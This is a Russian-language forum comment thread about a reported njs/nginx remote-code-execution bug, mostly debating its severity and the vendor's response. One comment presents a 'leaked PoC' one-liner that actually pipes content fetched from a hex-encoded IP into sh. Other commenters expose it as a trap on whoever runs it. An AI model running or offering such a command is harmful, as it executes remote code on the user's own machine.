LukaSafonov31 мая 2019 в 16:18

updated: Zero-Click Server-Side RCE в njs

1 мин

12K

Информационная безопасность *

+26

Комментарии 24

easty 31 мая 2019 в 17:17

Вот сейчас страшно. Рце в нжингсе и если пок реален и прост, будет весело.

SadLion 31 мая 2019 в 18:32

Если опубликуют подробности будет в любом случае весело, ведь сколько не обновлённых инстансов останется.

karavan_750 31 мая 2019 в 19:29

Если в статье речь исключительно о 1.16-1.17, то риску подвержены только недавние инсталляции.

rogoz 31 мая 2019 в 19:39

Он же open source, в каком-нибудь коммите засветится.

q2digger 1 июн 2019 в 07:33

не обновленных инстансов, докер-контейнеров, которые даже обновлять-то никто не подумает. волосы реально шевелятся. нас ждут увлекательные истории после публикации деталей

crea7or 31 мая 2019 в 20:04

NGINX
Replying to alisaesage
Thank you Alisa and ZDI for the report.

ZDI-CAN-8296 & ZDI-CAN-8495 are tracked as t.co/NhLhrM26cJ and t.co/2wVIv6rN0N ZDI-CAN-8296 was fixed in the nJS 0.3.2 release, and ZDI-CAN-8495 will be fixed in 0.3.3. Neither bug appears to be generally exploitable.

jo1n 31 мая 2019 в 20:12

CVSS Base Score понизили с 8.1 до 7.4 и Attack Vector сменили на Local.

helgihabr 31 мая 2019 в 20:20

Это касается модуля njs. Так что, не очень-то и страшно.
Интересно, насолько этот модуль популярен.

Zolg 31 мая 2019 в 20:42

"искусство писать заголовки"

ky0 31 мая 2019 в 20:41

она давно зарекомендовала себя как отличный специалист (и даже находится в санкционном списке)

Поясните, плз, как между собой коррелируют эти два факта и о каком списке идёт речь?

Alesh 31 мая 2019 в 20:52

Всем боятся 3 недели) "Алисе" респект.

lega 31 мая 2019 в 21:05

Не nginx, а njs, не уязвимость, а просто баг (уже пофикшен в последней версии) — компания Nginx отписалась, что этот баг не может быть использован как уязвимость.
Вообщем шум не очем.

Scratch 31 мая 2019 в 21:24

Утекло. Не проверял

LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream

curl -gsS victim.server.here/../../../%00/n…\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

symbix 31 мая 2019 в 23:56

На первый взгляд похоже на f6234460852a в njs.

symbix 1 июн 2019 в 07:40

А, дошло :-))

w0den 1 июн 2019 в 03:50

Я бы убрал |sh; nc /dev/tcp/localhost, иначе «PoC» может сработать даже если на сервере жертвы не установлен nginx (причём сервер жертвы, явно не удалённая машина).

Scf 1 июн 2019 в 05:15

curl 0x0238f06a

Забавно, чего только в линукс не вкручивают.

w0den 1 июн 2019 в 05:28

В Windows тоже работает:

C:\Windows\System32>ping 0x0238f06a



Pinging 2.56.240.106 with 32 bytes of data:

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Да и в браузере тоже: http://0x0238f06a/